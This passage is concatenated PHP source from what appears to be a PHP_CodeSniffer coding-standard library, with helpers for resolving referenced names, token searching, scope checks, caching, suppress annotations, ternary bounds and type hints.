getReferencedNameEndPointer(File $phpcsFile, int $startPointer): int { $tokens = $phpcsFile->getTokens(); $nameTokenCodesWithWhitespace = [...TokenHelper::NAME_TOKEN_CODES, ...TokenHelper::INEFFECTIVE_TOKEN_CODES]; $lastNamePointer = $startPointer; for ($i = $startPointer + 1; $i < count($tokens); $i++) { if (!in_array($tokens[$i]['code'], $nameTokenCodesWithWhitespace, true)) { break; } if (!in_array($tokens[$i]['code'], TokenHelper::NAME_TOKEN_CODES, true)) { continue; } $lastNamePointer = $i; } return $lastNamePointer; } /** * @return list */ private static function createAllReferencedNames(File $phpcsFile, int $openTagPointer): array { $referencedNames = []; $beginSearchAtPointer = $openTagPointer + 1; $nameTokenCodes = TokenHelper::NAME_TOKEN_CODES; $nameTokenCodes[] = T_DOUBLE_QUOTED_STRING; $nameTokenCodes[] = T_HEREDOC; $tokens = $phpcsFile->getTokens(); while (true) { $nameStartPointer = TokenHelper::findNext($phpcsFile, $nameTokenCodes, $beginSearchAtPointer); if ($nameStartPointer === null) { break; } // Find referenced names inside double quotes string if (self::isNeedParsedContent($tokens[$nameStartPointer]['code'])) { $content = $tokens[$nameStartPointer]['content']; $currentPointer = $nameStartPointer + 1; while (self::isNeedParsedContent($tokens[$currentPointer]['code'])) { $content .= $tokens[$currentPointer]['content']; $currentPointer++; } $names = self::getReferencedNamesFromString($content); foreach ($names as $name) { $referencedNames[] = new ReferencedName($name, $nameStartPointer, $nameStartPointer, ReferencedName::TYPE_CLASS); } $beginSearchAtPointer = $currentPointer; continue; } // Attributes are parsed in specific method $attributeStartPointerBefore = TokenHelper::findPrevious($phpcsFile, T_ATTRIBUTE, $nameStartPointer - 1, $beginSearchAtPointer); if ($attributeStartPointerBefore !== null) { if ($tokens[$attributeStartPointerBefore]['attribute_closer'] > $nameStartPointer) { $beginSearchAtPointer = $tokens[$attributeStartPointerBefore]['attribute_closer'] + 1; continue; } } if (!self::isReferencedName($phpcsFile, $nameStartPointer)) { /** @var int $beginSearchAtPointer */ $beginSearchAtPointer = TokenHelper::findNextExcluding( $phpcsFile, [...TokenHelper::INEFFECTIVE_TOKEN_CODES, ...$nameTokenCodes], $nameStartPointer + 1, ); continue; } $nameEndPointer = self::getReferencedNameEndPointer($phpcsFile, $nameStartPointer); $referencedNames[] = new ReferencedName( self::getReferenceName($phpcsFile, $nameStartPointer, $nameEndPointer), $nameStartPointer, $nameEndPointer, self::getReferenceType($phpcsFile, $nameStartPointer, $nameEndPointer), ); $beginSearchAtPointer = $nameEndPointer + 1; } return $referencedNames; } private static function getReferenceType(File $phpcsFile, int $nameStartPointer, int $nameEndPointer): string { $tokens = $phpcsFile->getTokens(); $nextTokenAfterEndPointer = TokenHelper::findNextEffective($phpcsFile, $nameEndPointer + 1); $previousTokenBeforeStartPointer = TokenHelper::findPreviousEffective($phpcsFile, $nameStartPointer - 1); if ($tokens[$nextTokenAfterEndPointer]['code'] === T_OPEN_PARENTHESIS) { return $tokens[$previousTokenBeforeStartPointer]['code'] === T_NEW ? ReferencedName::TYPE_CLASS : ReferencedName::TYPE_FUNCTION; } if ( $tokens[$previousTokenBeforeStartPointer]['code'] === T_TYPE_UNION || $tokens[$nextTokenAfterEndPointer]['code'] === T_TYPE_UNION ) { return ReferencedName::TYPE_CLASS; } if ( $tokens[$previousTokenBeforeStartPointer]['code'] === T_TYPE_INTERSECTION || $tokens[$nextTokenAfterEndPointer]['code'] === T_TYPE_INTERSECTION ) { return ReferencedName::TYPE_CLASS; } if ($tokens[$nextTokenAfterEndPointer]['code'] === T_BITWISE_AND) { $tokenAfterNextToken = TokenHelper::findNextEffective($phpcsFile, $nextTokenAfterEndPointer + 1); return in_array($tokens[$tokenAfterNextToken]['code'], [T_VARIABLE, T_ELLIPSIS], true) ? ReferencedName::TYPE_CLASS : ReferencedName::TYPE_CONSTANT; } if ( in_array($tokens[$nextTokenAfterEndPointer]['code'], [ T_VARIABLE, // Variadic parameter T_ELLIPSIS, ], true) ) { return ReferencedName::TYPE_CLASS; } if ($tokens[$previousTokenBeforeStartPointer]['code'] === T_COLON) { $previousTokenPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousTokenBeforeStartPointer - 1); if ( $tokens[$previousTokenPointer]['code'] === T_PARAM_NAME && $tokens[$nextTokenAfterEndPointer]['code'] !== T_DOUBLE_COLON ) { return ReferencedName::TYPE_CONSTANT; } // Return type hint return ReferencedName::TYPE_CLASS; } if ( in_array($tokens[$previousTokenBeforeStartPointer]['code'], [ T_EXTENDS, T_IMPLEMENTS, T_INSTANCEOF, // Trait T_USE, T_NEW, // Nullable type hint T_NULLABLE, ], true) || $tokens[$nextTokenAfterEndPointer]['code'] === T_DOUBLE_COLON ) { return ReferencedName::TYPE_CLASS; } if ($tokens[$previousTokenBeforeStartPointer]['code'] === T_COMMA) { $previousTokenPointer = TokenHelper::findPreviousExcluding( $phpcsFile, [T_COMMA, ...TokenHelper::NAME_TOKEN_CODES, ...TokenHelper::INEFFECTIVE_TOKEN_CODES], $previousTokenBeforeStartPointer - 1, ); return in_array($tokens[$previousTokenPointer]['code'], [ T_IMPLEMENTS, T_EXTENDS, T_USE, ], true) ? ReferencedName::TYPE_CLASS : ReferencedName::TYPE_CONSTANT; } if (in_array($tokens[$previousTokenBeforeStartPointer]['code'], [T_BITWISE_OR, T_OPEN_PARENTHESIS], true)) { $catchPointer = TokenHelper::findPreviousExcluding( $phpcsFile, [T_BITWISE_OR, T_OPEN_PARENTHESIS, ...TokenHelper::NAME_TOKEN_CODES, ...TokenHelper::INEFFECTIVE_TOKEN_CODES], $previousTokenBeforeStartPointer - 1, ); if ($tokens[$catchPointer]['code'] === T_CATCH) { return ReferencedName::TYPE_CLASS; } } return ReferencedName::TYPE_CONSTANT; } private static function isReferencedName(File $phpcsFile, int $startPointer): bool { $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $startPointer + 1); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $startPointer - 1); if ($nextPointer !== null && $tokens[$nextPointer]['code'] === T_DOUBLE_COLON) { return !in_array($tokens[$previousPointer]['code'], [T_OBJECT_OPERATOR, T_NULLSAFE_OBJECT_OPERATOR], true); } if ( count($tokens[$startPointer]['conditions']) > 0 && array_values(array_reverse($tokens[$startPointer]['conditions']))[0] === T_USE ) { // Method imported from trait return false; } $previousToken = $tokens[$previousPointer]; $skipTokenCodes = [ T_FUNCTION, T_DOUBLE_COLON, T_OBJECT_OPERATOR, T_NULLSAFE_OBJECT_OPERATOR, T_NAMESPACE, T_CONST, T_ENUM_CASE, ]; if ($previousToken['code'] === T_USE) { $classPointer = TokenHelper::findPrevious($phpcsFile, [T_CLASS, T_TRAIT, T_ANON_CLASS, T_ENUM], $startPointer - 1); if ($classPointer !== null) { $classToken = $tokens[$classPointer]; return $startPointer > $classToken['scope_opener'] && $startPointer < $classToken['scope_closer']; } return false; } if ( $previousToken['code'] === T_OPEN_PARENTHESIS && isset($previousToken['parenthesis_owner']) && $tokens[$previousToken['parenthesis_owner']]['code'] === T_DECLARE ) { return false; } if ( $previousToken['code'] === T_COMMA && TokenHelper::findPreviousLocal($phpcsFile, T_DECLARE, $previousPointer - 1) !== null ) { return false; } if ($previousToken['code'] === T_COMMA) { $constPointer = TokenHelper::findPreviousLocal($phpcsFile, T_CONST, $previousPointer - 1); if ( $constPointer !== null && TokenHelper::findNext($phpcsFile, [T_OPEN_SHORT_ARRAY, T_ARRAY], $constPointer + 1, $startPointer) === null ) { return false; } } elseif ($previousToken['code'] === T_BITWISE_AND) { $pointerBefore = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); $isFunctionPointerBefore = TokenHelper::findPreviousLocal($phpcsFile, T_FUNCTION, $previousPointer - 1) !== null; if ($tokens[$pointerBefore]['code'] !== T_VARIABLE && $isFunctionPointerBefore) { return false; } } elseif ($previousToken['code'] === T_GOTO) { return false; } $isProbablyReferencedName = !in_array( $previousToken['code'], [...$skipTokenCodes, ...TokenHelper::CLASS_TYPE_TOKEN_CODES], true, ); if (!$isProbablyReferencedName) { return false; } if ($previousToken['code'] === T_AS && !array_key_exists('nested_parenthesis', $previousToken)) { // "as" in "use" statement return false; } $endPointer = self::getReferencedNameEndPointer($phpcsFile, $startPointer); $referencedName = self::getReferenceName($phpcsFile, $startPointer, $endPointer); if (TypeHintHelper::isSimpleTypeHint($referencedName) || $referencedName === 'object') { return $tokens[$nextPointer]['code'] === T_OPEN_PARENTHESIS; } return true; } /** * @return list */ private static function createAllReferencedNamesInAttributes(File $phpcsFile, int $openTagPointer): array { $referencedNames = []; $tokens = $phpcsFile->getTokens(); $attributePointers = TokenHelper::findNextAll($phpcsFile, T_ATTRIBUTE, $openTagPointer + 1); foreach ($attributePointers as $attributeStartPointer) { $searchStartPointer = $attributeStartPointer + 1; $searchEndPointer = $tokens[$attributeStartPointer]['attribute_closer']; $searchPointer = $searchStartPointer; $searchTokens = [...TokenHelper::NAME_TOKEN_CODES, T_OPEN_PARENTHESIS, T_CLOSE_PARENTHESIS]; $level = 0; do { $pointer = TokenHelper::findNext($phpcsFile, $searchTokens, $searchPointer, $searchEndPointer); if ($pointer === null) { break; } if ($tokens[$pointer]['code'] === T_OPEN_PARENTHESIS) { $level++; $searchPointer = $pointer + 1; continue; } if ($tokens[$pointer]['code'] === T_CLOSE_PARENTHESIS) { $level--; $searchPointer = $pointer + 1; continue; } $referencedNameEndPointer = self::getReferencedNameEndPointer($phpcsFile, $pointer); $pointerBefore = TokenHelper::findPreviousEffective($phpcsFile, $pointer - 1); if (in_array($tokens[$pointerBefore]['code'], [T_OPEN_TAG, T_ATTRIBUTE], true)) { $referenceType = ReferencedName::TYPE_CLASS; } elseif ($tokens[$pointerBefore]['code'] === T_COMMA && $level === 0) { $referenceType = ReferencedName::TYPE_CLASS; } elseif (self::isReferencedName($phpcsFile, $pointer)) { $referenceType = self::getReferenceType($phpcsFile, $pointer, $referencedNameEndPointer); } else { $searchPointer = $pointer + 1; continue; } $referencedName = self::getReferenceName($phpcsFile, $pointer, $referencedNameEndPointer); $referencedNames[] = new ReferencedName( $referencedName, $attributeStartPointer, $tokens[$attributeStartPointer]['attribute_closer'], $referenceType, ); $searchPointer = $referencedNameEndPointer + 1; } while (true); } return $referencedNames; } /** * @param int|string $code */ private static function isNeedParsedContent($code): bool { return in_array($code, [T_DOUBLE_QUOTED_STRING, T_HEREDOC], true); } /** * @return list */ private static function getReferencedNamesFromString(string $content): array { $referencedNames = []; $subTokens = token_get_all(' $token) { if (is_array($token) && $token[0] === T_DOUBLE_COLON) { $referencedName = ''; $tmpPosition = $position - 1; while (true) { if (!is_array($subTokens[$tmpPosition]) || !in_array($subTokens[$tmpPosition][0], [T_NS_SEPARATOR, T_STRING], true)) { break; } $referencedName = $subTokens[$tmpPosition][1] . $referencedName; $tmpPosition--; } $referencedNames[] = $referencedName; } elseif (is_array($token) && $token[0] === T_NEW) { $referencedName = ''; $tmpPosition = $position + 1; while (true) { if (!is_array($subTokens[$tmpPosition])) { break; } if ($subTokens[$tmpPosition][0] === T_WHITESPACE) { $tmpPosition++; continue; } if (!in_array( $subTokens[$tmpPosition][0], [T_STRING, T_NS_SEPARATOR, T_NAME_QUALIFIED, T_NAME_FULLY_QUALIFIED, T_NAME_RELATIVE], true, )) { break; } $referencedName .= $subTokens[$tmpPosition][1]; $tmpPosition++; } if ($referencedName !== '') { $referencedNames[] = $referencedName; } } } return $referencedNames; } } getTokens(); $getScope = static function (int $pointer) use ($tokens): int { $scope = 0; foreach (array_reverse($tokens[$pointer]['conditions'], true) as $conditionPointer => $conditionTokenCode) { if (!in_array($conditionTokenCode, TokenHelper::FUNCTION_TOKEN_CODES, true)) { continue; } $scope = $tokens[$conditionPointer]['level'] + 1; break; } return $scope; }; return $getScope($firstPointer) === $getScope($secondPointer); } public static function getRootPointer(File $phpcsFile, int $pointer): int { $rootPointer = TokenHelper::findNext($phpcsFile, T_OPEN_TAG, 0); $rootPointers = array_reverse(self::getAllRootPointers($phpcsFile)); foreach ($rootPointers as $currentRootPointer) { if ($currentRootPointer < $pointer) { $rootPointer = $currentRootPointer; break; } } return $rootPointer; } /** * @return list */ public static function getAllRootPointers(File $phpcsFile): array { $lazyValue = static fn (): array => TokenHelper::findNextAll($phpcsFile, T_OPEN_TAG, 0); return SniffLocalCache::getAndSetIfNotCached($phpcsFile, 'openTagPointers', $lazyValue); } } > */ private static array $cache = []; /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.DisallowMixedTypeHint * @return mixed */ public static function getAndSetIfNotCached(File $phpcsFile, string $key, Closure $lazyValue) { $fixerLoops = $phpcsFile->fixer !== null ? $phpcsFile->fixer->loops : 0; $internalKey = sprintf('%s-%s', $phpcsFile->getFilename(), $key); self::setIfNotCached($fixerLoops, $internalKey, $lazyValue); return self::$cache[$fixerLoops][$internalKey] ?? null; } private static function setIfNotCached(int $fixerLoops, string $internalKey, Closure $lazyValue): void { if (array_key_exists($fixerLoops, self::$cache) && array_key_exists($internalKey, self::$cache[$fixerLoops])) { return; } self::$cache[$fixerLoops][$internalKey] = $lazyValue(); if ($fixerLoops > 0) { unset(self::$cache[$fixerLoops - 1]); } } } $settings * @return list */ public static function normalizeArray(array $settings): array { $settings = array_map(static fn (string $value): string => trim($value), $settings); $settings = array_filter($settings, static fn (string $value): bool => $value !== ''); return array_values($settings); } /** * @param array $settings * @return array */ public static function normalizeAssociativeArray(array $settings): array { $normalizedSettings = []; foreach ($settings as $key => $value) { if (is_string($key)) { $key = trim($key); } if (is_string($value)) { $value = trim($value); } if ($key === '' || $value === '') { continue; } $normalizedSettings[$key] = $value; } return $normalizedSettings; } public static function isValidRegularExpression(string $expression): bool { return preg_match('~^(?:\(.*\)|\{.*\}|\[.*\])[a-z]*\z~i', $expression) !== 0 || preg_match('~^([^a-z\s\\\\]).*\\1[a-z]*\z~i', $expression) !== 0; } public static function isEnabledByPhpVersion(?bool $value, int $phpVersionLimit): bool { if ($value !== null) { return $value; } $phpVersion = Config::getConfigData('php_version') !== null ? (int) Config::getConfigData('php_version') : PHP_VERSION_ID; return $phpVersion >= $phpVersionLimit; } } > $annotations */ $annotations = AnnotationHelper::getAnnotations($phpcsFile, $pointer, self::ANNOTATION); return array_reduce( $annotations, static function (bool $carry, Annotation $annotation) use ($suppressName): bool { $annotationSuppressName = explode(' ', $annotation->getValue()->value)[0]; if ( $suppressName === $annotationSuppressName || strpos($suppressName, sprintf('%s.', $annotationSuppressName)) === 0 ) { $carry = true; } return $carry; }, false, ); } public static function removeSuppressAnnotation(File $phpcsFile, int $pointer, string $suppressName): void { $suppressAnnotation = null; /** @var Annotation $annotation */ foreach (AnnotationHelper::getAnnotations($phpcsFile, $pointer, self::ANNOTATION) as $annotation) { if ($annotation->getValue()->value === $suppressName) { $suppressAnnotation = $annotation; break; } } assert($suppressAnnotation !== null); $tokens = $phpcsFile->getTokens(); /** @var int $pointerBefore */ $pointerBefore = TokenHelper::findPrevious( $phpcsFile, [T_DOC_COMMENT_OPEN_TAG, T_DOC_COMMENT_STAR], $suppressAnnotation->getStartPointer() - 1, ); $changeStart = $tokens[$pointerBefore]['code'] === T_DOC_COMMENT_STAR ? $pointerBefore : $suppressAnnotation->getStartPointer(); /** @var int $changeEnd */ $changeEnd = TokenHelper::findNext( $phpcsFile, [T_DOC_COMMENT_CLOSE_TAG, T_DOC_COMMENT_STAR], $suppressAnnotation->getEndPointer() + 1, ) - 1; $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $changeStart, $changeEnd); $phpcsFile->fixer->endChangeset(); } } getTokens(); $pointer = $inlineThenPointer; do { $pointer = TokenHelper::findNext( $phpcsFile, [T_INLINE_ELSE, T_OPEN_PARENTHESIS, T_OPEN_SHORT_ARRAY, T_OPEN_SQUARE_BRACKET], $pointer + 1, ); if ($tokens[$pointer]['code'] === T_OPEN_PARENTHESIS) { $pointer = $tokens[$pointer]['parenthesis_closer']; continue; } if (in_array($tokens[$pointer]['code'], [T_OPEN_SHORT_ARRAY, T_OPEN_SQUARE_BRACKET], true)) { $pointer = $tokens[$pointer]['bracket_closer']; continue; } if (ScopeHelper::isInSameScope($phpcsFile, $inlineThenPointer, $pointer)) { break; } } while ($pointer !== null); return $pointer; } public static function getStartPointer(File $phpcsFile, int $inlineThenPointer): int { $tokens = $phpcsFile->getTokens(); $pointerBeforeCondition = $inlineThenPointer; do { $pointerBeforeCondition = TokenHelper::findPrevious( $phpcsFile, [T_EQUAL, T_DOUBLE_ARROW, T_COMMA, T_RETURN, T_THROW, T_CASE, T_OPEN_TAG, T_OPEN_TAG_WITH_ECHO, T_OPEN_SQUARE_BRACKET, T_OPEN_SHORT_ARRAY, T_OPEN_PARENTHESIS], $pointerBeforeCondition - 1, ); if ( in_array($tokens[$pointerBeforeCondition]['code'], [T_OPEN_SQUARE_BRACKET, T_OPEN_SHORT_ARRAY], true) && $tokens[$pointerBeforeCondition]['bracket_closer'] < $inlineThenPointer ) { continue; } if ( $tokens[$pointerBeforeCondition]['code'] === T_OPEN_PARENTHESIS && $tokens[$pointerBeforeCondition]['parenthesis_closer'] < $inlineThenPointer ) { continue; } break; } while (true); return TokenHelper::findNextEffective($phpcsFile, $pointerBeforeCondition + 1); } public static function getEndPointer(File $phpcsFile, int $inlineThenPointer, int $inlineElsePointer): int { $tokens = $phpcsFile->getTokens(); $pointerAfterInlineElseEnd = $inlineElsePointer; do { $pointerAfterInlineElseEnd = TokenHelper::findNext( $phpcsFile, [T_SEMICOLON, T_COLON, T_COMMA, T_DOUBLE_ARROW, T_CLOSE_PARENTHESIS, T_CLOSE_SHORT_ARRAY, T_CLOSE_SQUARE_BRACKET, T_COALESCE], $pointerAfterInlineElseEnd + 1, ); if ($pointerAfterInlineElseEnd === null) { continue; } if ($tokens[$pointerAfterInlineElseEnd]['code'] === T_CLOSE_PARENTHESIS) { if ($tokens[$pointerAfterInlineElseEnd]['parenthesis_opener'] < $inlineThenPointer) { break; } } elseif (in_array($tokens[$pointerAfterInlineElseEnd]['code'], [T_CLOSE_SHORT_ARRAY, T_CLOSE_SQUARE_BRACKET], true)) { if ($tokens[$pointerAfterInlineElseEnd]['bracket_opener'] < $inlineThenPointer) { break; } } elseif ($tokens[$pointerAfterInlineElseEnd]['code'] === T_COMMA) { $previousPointer = TokenHelper::findPrevious( $phpcsFile, [T_OPEN_PARENTHESIS, T_OPEN_SHORT_ARRAY], $pointerAfterInlineElseEnd - 1, $inlineThenPointer, ); if ($previousPointer === null) { break; } if ( $tokens[$previousPointer]['code'] === T_OPEN_PARENTHESIS && $tokens[$previousPointer]['parenthesis_closer'] < $pointerAfterInlineElseEnd ) { break; } if ( $tokens[$previousPointer]['code'] === T_OPEN_SHORT_ARRAY && $tokens[$previousPointer]['bracket_closer'] < $pointerAfterInlineElseEnd ) { break; } } elseif ($tokens[$pointerAfterInlineElseEnd]['code'] === T_DOUBLE_ARROW) { $previousPointer = TokenHelper::findPrevious( $phpcsFile, T_OPEN_SHORT_ARRAY, $pointerAfterInlineElseEnd - 1, $inlineThenPointer, ); if ($previousPointer === null) { break; } } elseif (ScopeHelper::isInSameScope($phpcsFile, $inlineElsePointer, $pointerAfterInlineElseEnd)) { break; } } while ($pointerAfterInlineElseEnd !== null); if ($pointerAfterInlineElseEnd !== null) { return TokenHelper::findPreviousEffective($phpcsFile, $pointerAfterInlineElseEnd - 1); } return TokenHelper::findPreviousEffective($phpcsFile, count($tokens) - 1); } } $types */ public static function findNext(File $phpcsFile, $types, int $startPointer, ?int $endPointer = null): ?int { /** @var int|false $token */ $token = $phpcsFile->findNext($types, $startPointer, $endPointer, false); return $token === false ? null : $token; } /** * @param int|string|array $types * @return list */ public static function findNextAll(File $phpcsFile, $types, int $startPointer, ?int $endPointer = null): array { $pointers = []; $actualStartPointer = $startPointer; while (true) { $pointer = self::findNext($phpcsFile, $types, $actualStartPointer, $endPointer); if ($pointer === null) { break; } $pointers[] = $pointer; $actualStartPointer = $pointer + 1; } return $pointers; } /** * @param int|string|array $types */ public static function findNextContent(File $phpcsFile, $types, string $content, int $startPointer, ?int $endPointer = null): ?int { /** @var int|false $token */ $token = $phpcsFile->findNext($types, $startPointer, $endPointer, false, $content); return $token === false ? null : $token; } /** * @param int $startPointer Search starts at this token, inclusive * @param int|null $endPointer Search ends at this token, exclusive */ public static function findNextEffective(File $phpcsFile, int $startPointer, ?int $endPointer = null): ?int { return self::findNextExcluding($phpcsFile, self::INEFFECTIVE_TOKEN_CODES, $startPointer, $endPointer); } /** * @param int $startPointer Search starts at this token, inclusive * @param int|null $endPointer Search ends at this token, exclusive */ public static function findNextNonWhitespace(File $phpcsFile, int $startPointer, ?int $endPointer = null): ?int { return self::findNextExcluding($phpcsFile, T_WHITESPACE, $startPointer, $endPointer); } /** * @param int|string|array $types * @param int $startPointer Search starts at this token, inclusive * @param int|null $endPointer Search ends at this token, exclusive */ public static function findNextExcluding(File $phpcsFile, $types, int $startPointer, ?int $endPointer = null): ?int { /** @var int|false $token */ $token = $phpcsFile->findNext($types, $startPointer, $endPointer, true); return $token === false ? null : $token; } /** * @param int|string|array $types */ public static function findNextLocal(File $phpcsFile, $types, int $startPointer, ?int $endPointer = null): ?int { /** @var int|false $token */ $token = $phpcsFile->findNext($types, $startPointer, $endPointer, false, null, true); return $token === false ? null : $token; } /** * @param int $startPointer Search starts at this token, inclusive * @param int|null $endPointer Search ends at this token, exclusive */ public static function findNextAnyToken(File $phpcsFile, int $startPointer, ?int $endPointer = null): ?int { return self::findNextExcluding($phpcsFile, [], $startPointer, $endPointer); } /** * @param int|string|array $types * @param int $startPointer Search starts at this token, inclusive * @param int|null $endPointer Search ends at this token, exclusive */ public static function findPrevious(File $phpcsFile, $types, int $startPointer, ?int $endPointer = null): ?int { /** @var int|false $token */ $token = $phpcsFile->findPrevious($types, $startPointer, $endPointer, false); return $token === false ? null : $token; } /** * @param int|string|array $types */ public static function findPreviousContent(File $phpcsFile, $types, string $content, int $startPointer, ?int $endPointer = null): ?int { /** @var int|false $token */ $token = $phpcsFile->findPrevious($types, $startPointer, $endPointer, false, $content); return $token === false ? null : $token; } /** * @param int $startPointer Search starts at this token, inclusive * @param int|null $endPointer Search ends at this token, exclusive */ public static function findPreviousEffective(File $phpcsFile, int $startPointer, ?int $endPointer = null): ?int { return self::findPreviousExcluding($phpcsFile, self::INEFFECTIVE_TOKEN_CODES, $startPointer, $endPointer); } /** * @param int $startPointer Search starts at this token, inclusive * @param int|null $endPointer Search ends at this token, exclusive */ public static function findPreviousNonWhitespace(File $phpcsFile, int $startPointer, ?int $endPointer = null): ?int { return self::findPreviousExcluding($phpcsFile, T_WHITESPACE, $startPointer, $endPointer); } /** * @param int|string|array $types * @param int $startPointer Search starts at this token, inclusive * @param int|null $endPointer Search ends at this token, exclusive */ public static function findPreviousExcluding(File $phpcsFile, $types, int $startPointer, ?int $endPointer = null): ?int { /** @var int|false $token */ $token = $phpcsFile->findPrevious($types, $startPointer, $endPointer, true); return $token === false ? null : $token; } /** * @param int|string|array $types */ public static function findPreviousLocal(File $phpcsFile, $types, int $startPointer, ?int $endPointer = null): ?int { /** @var int|false $token */ $token = $phpcsFile->findPrevious($types, $startPointer, $endPointer, false, null, true); return $token === false ? null : $token; } /** * @param int $pointer Search starts at this token, inclusive */ public static function findFirstTokenOnLine(File $phpcsFile, int $pointer): int { if ($pointer === 0) { return $pointer; } $tokens = $phpcsFile->getTokens(); $line = $tokens[$pointer]['line']; do { $pointer--; } while ($tokens[$pointer]['line'] === $line); return $pointer + 1; } /** * @param int $pointer Search starts at this token, inclusive */ public static function findLastTokenOnLine(File $phpcsFile, int $pointer): int { $tokens = $phpcsFile->getTokens(); $line = $tokens[$pointer]['line']; do { $pointer++; } while (array_key_exists($pointer, $tokens) && $tokens[$pointer]['line'] === $line); return $pointer - 1; } /** * @param int $pointer Search starts at this token, inclusive */ public static function findLastTokenOnPreviousLine(File $phpcsFile, int $pointer): int { $tokens = $phpcsFile->getTokens(); $line = $tokens[$pointer]['line']; do { $pointer--; } while ($tokens[$pointer]['line'] === $line); return $pointer; } /** * @param int $pointer Search starts at this token, inclusive */ public static function findFirstTokenOnNextLine(File $phpcsFile, int $pointer): ?int { $tokens = $phpcsFile->getTokens(); if ($pointer >= count($tokens)) { return null; } $line = $tokens[$pointer]['line']; do { $pointer++; if (!array_key_exists($pointer, $tokens)) { return null; } } while ($tokens[$pointer]['line'] === $line); return $pointer; } /** * @param int $pointer Search starts at this token, inclusive */ public static function findFirstNonWhitespaceOnLine(File $phpcsFile, int $pointer): int { if ($pointer === 0) { return $pointer; } $tokens = $phpcsFile->getTokens(); $line = $tokens[$pointer]['line']; do { $pointer--; } while ($pointer >= 0 && $tokens[$pointer]['line'] === $line); return self::findNextExcluding($phpcsFile, [T_WHITESPACE, T_DOC_COMMENT_WHITESPACE], $pointer + 1); } /** * @param int $pointer Search starts at this token, inclusive */ public static function findFirstNonWhitespaceOnNextLine(File $phpcsFile, int $pointer): ?int { $newLinePointer = self::findNextContent($phpcsFile, [T_WHITESPACE, T_DOC_COMMENT_WHITESPACE], $phpcsFile->eolChar, $pointer); if ($newLinePointer === null) { return null; } $nextPointer = self::findNextExcluding($phpcsFile, [T_WHITESPACE, T_DOC_COMMENT_WHITESPACE], $newLinePointer + 1); $tokens = $phpcsFile->getTokens(); if ($nextPointer !== null && $tokens[$pointer]['line'] === $tokens[$nextPointer]['line'] - 1) { return $nextPointer; } return null; } /** * @param int $pointer Search starts at this token, inclusive */ public static function findFirstNonWhitespaceOnPreviousLine(File $phpcsFile, int $pointer): ?int { $newLinePointerOnPreviousLine = self::findPreviousContent( $phpcsFile, [T_WHITESPACE, T_DOC_COMMENT_WHITESPACE], $phpcsFile->eolChar, $pointer, ); if ($newLinePointerOnPreviousLine === null) { return null; } $newLinePointerBeforePreviousLine = self::findPreviousContent( $phpcsFile, [T_WHITESPACE, T_DOC_COMMENT_WHITESPACE], $phpcsFile->eolChar, $newLinePointerOnPreviousLine - 1, ); if ($newLinePointerBeforePreviousLine === null) { return null; } $nextPointer = self::findNextExcluding($phpcsFile, [T_WHITESPACE, T_DOC_COMMENT_WHITESPACE], $newLinePointerBeforePreviousLine + 1); $tokens = $phpcsFile->getTokens(); if ($nextPointer !== null && $tokens[$pointer]['line'] === $tokens[$nextPointer]['line'] + 1) { return $nextPointer; } return null; } public static function getContent(File $phpcsFile, int $startPointer, ?int $endPointer = null): string { $tokens = $phpcsFile->getTokens(); $endPointer ??= self::getLastTokenPointer($phpcsFile); $content = ''; for ($i = $startPointer; $i <= $endPointer; $i++) { $content .= $tokens[$i]['content']; } return $content; } public static function getLastTokenPointer(File $phpcsFile): int { $tokenCount = count($phpcsFile->getTokens()); if ($tokenCount === 0) { throw new EmptyFileException($phpcsFile->getFilename()); } return $tokenCount - 1; } } pointer = $pointer; $this->lastTokenPointer = $lastTokenPointer; } public function getPointer(): int { return $this->pointer; } public function getLastTokenPointer(): int { return $this->lastTokenPointer; } } typeHint = $typeHint; $this->nullable = $nullable; $this->startPointer = $startPointer; $this->endPointer = $endPointer; } public function getTypeHint(): string { return $this->typeHint; } public function getTypeHintWithoutNullabilitySymbol(): string { return strpos($this->typeHint, '?') === 0 ? substr($this->typeHint, 1) : $this->typeHint; } public function isNullable(): bool { return $this->nullable; } public function getStartPointer(): int { return $this->startPointer; } public function getEndPointer(): int { return $this->endPointer; } } 'int', 'boolean' => 'bool', ]; return array_key_exists($typeHint, $longToShort) ? $longToShort[$typeHint] : $typeHint; } public static function isUnofficialUnionTypeHint(string $typeHint): bool { return in_array($typeHint, ['scalar', 'numeric', 'array-key'], true); } public static function isVoidTypeHint(string $typeHint): bool { return $typeHint === 'void'; } public static function isNeverTypeHint(string $typeHint): bool { return in_array($typeHint, ['never', 'never-return', 'never-returns', 'no-return'], true); } /** * @return list */ public static function convertUnofficialUnionTypeHintToOfficialTypeHints(string $typeHint): array { $conversion = [ 'scalar' => ['string', 'int', 'float', 'bool'], 'numeric' => ['int', 'float', 'string'], 'array-key' => ['int', 'string'], ]; return $conversion[$typeHint]; } public static function isTypeDefinedInAnnotation(File $phpcsFile, int $pointer, string $typeHint): bool { $docCommentOpenPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $pointer); if ($docCommentOpenPointer === null) { return false; } return self::isTemplate($phpcsFile, $docCommentOpenPointer, $typeHint) || self::isAlias($phpcsFile, $docCommentOpenPointer, $typeHint); } public static function getFullyQualifiedTypeHint(File $phpcsFile, int $pointer, string $typeHint): string { if (self::isSimpleTypeHint($typeHint)) { return self::convertLongSimpleTypeHintToShort($typeHint); } return NamespaceHelper::resolveClassName($phpcsFile, $typeHint, $pointer); } /** * @return list */ public static function getSimpleTypeHints(): array { static $simpleTypeHints; $simpleTypeHints ??= [ 'int', 'integer', 'false', 'float', 'string', 'bool', 'boolean', 'callable', 'self', 'array', 'iterable', 'void', 'never', ]; return $simpleTypeHints; } /** * @return list */ public static function getSimpleIterableTypeHints(): array { return [ 'array', 'iterable', ]; } public static function isSimpleUnofficialTypeHints(string $typeHint): bool { static $simpleUnofficialTypeHints; // See https://psalm.dev/docs/annotating_code/type_syntax/atomic_types/ $simpleUnofficialTypeHints ??= [ 'null', 'mixed', 'scalar', 'numeric', 'true', 'object', 'resource', 'static', '$this', 'array-key', 'list', 'non-empty-array', 'non-empty-list', 'empty', 'positive-int', 'non-positive-int', 'negative-int', 'non-negative-int', 'literal-int', 'int-mask', 'min', 'max', 'callable-array', 'callable-string', ]; return in_array($typeHint, $simpleUnofficialTypeHints, true) || preg_match('~-string$~i', $typeHint) === 1; } /** * @param list $traversableTypeHints */ public static function 